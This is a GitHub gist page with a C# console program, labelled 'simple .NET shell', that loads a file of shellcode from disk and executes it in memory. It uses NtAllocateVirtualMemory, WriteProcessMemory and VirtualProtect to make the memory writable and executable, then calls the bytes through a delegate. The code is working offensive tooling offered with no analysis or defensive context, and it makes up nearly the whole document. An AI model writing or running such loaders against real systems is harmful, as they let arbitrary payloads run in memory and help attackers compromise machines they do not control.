Skip to content

Instantly share code, notes, and snippets.

@v1stra
Created June 30, 2023 17:12
Show Gist options
  • Select an option

  • Save v1stra/e2d61ade8249d24905dacf900ebd283d to your computer and use it in GitHub Desktop.

Select an option

Save v1stra/e2d61ade8249d24905dacf900ebd283d to your computer and use it in GitHub Desktop.
lol
using System;
using System.IO;
using System.Runtime.InteropServices;
class Program
{
// Values for PAGE_ constants can be found in the Windows SDK
const uint PAGE_EXECUTE_READ = 0x20;
const uint PAGE_EXECUTE_READWRITE = 0x40;
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr ShellcodeDelegate();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(
IntPtr lpAddress,
uint dwSize,
uint flNewProtect,
out uint lpflOldProtect);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
static void Main()
{
Console.WriteLine("Welcome to the simple .NET shell!");
IntPtr allocatedMemory = IntPtr.Zero;
byte[] loadedFile = null;
while (true)
{
Console.Write("> ");
string command = Console.ReadLine();
if (string.IsNullOrEmpty(command))
{
continue;
}
if (command.ToLower() == "exit")
{
break;
}
// Handle allocate command
if (command.ToLower().StartsWith("go"))
{
if (loadedFile == null)
{
Console.WriteLine("Please load a file first.");
continue;
}
IntPtr size = (IntPtr)loadedFile.Length;
allocatedMemory = IntPtr.Zero;
// ALLOCATE
int result = NtAllocateVirtualMemory((IntPtr)(-1), ref allocatedMemory, IntPtr.Zero, ref size, 0x3000, PAGE_EXECUTE_READ);
if (result == 0)
{
Console.WriteLine($"Successfully allocated {size.ToInt32()} bytes. Base address is {allocatedMemory.ToInt64():X}");
// WRITE
bool success = WriteProcessMemory((IntPtr)(-1), allocatedMemory, loadedFile, (uint)loadedFile.Length, out int bytesWritten);
Console.WriteLine($"Buffer written to allocation.");
Console.Write("Continue? yes or no\n");
string response = Console.ReadLine().ToLower();
if (response == "no")
{
Console.WriteLine($"You entered: {response}");
return;
}
uint oldProtect;
if (VirtualProtect(allocatedMemory, (uint)loadedFile.Length, PAGE_EXECUTE_READWRITE, out oldProtect))
{
Console.WriteLine("Memory protection changed successfully.");
}
Console.Write("Continue? yes or no\n");
response = Console.ReadLine().ToLower();
if (response == "no")
{
Console.WriteLine($"You entered: {response}");
return;
}
if (success)
{
Console.WriteLine($"Successfully wrote {bytesWritten} bytes to memory.");
// CREATE THREAD
var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(allocatedMemory);
shellcodeCall();
}
else
{
Console.WriteLine("Failed to write to memory.");
}
}
else
{
Console.WriteLine($"Failed to allocate memory. Error code: {result}");
}
continue;
}
// Handle load command
if (command.ToLower().StartsWith("load"))
{
string[] splitCommand = command.Split(' ');
if (splitCommand.Length == 2)
{
string filePath = splitCommand[1];
if (File.Exists(filePath))
{
loadedFile = File.ReadAllBytes(filePath);
Console.WriteLine($"Successfully loaded file {filePath} of size {loadedFile.Length} bytes.");
}
else
{
Console.WriteLine($"File not found: {filePath}");
}
}
else
{
Console.WriteLine("Invalid command. Usage: load <filepath>");
}
continue;
}
Console.WriteLine($"You entered the command: {command}");
}
Console.WriteLine("Goodbye!");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment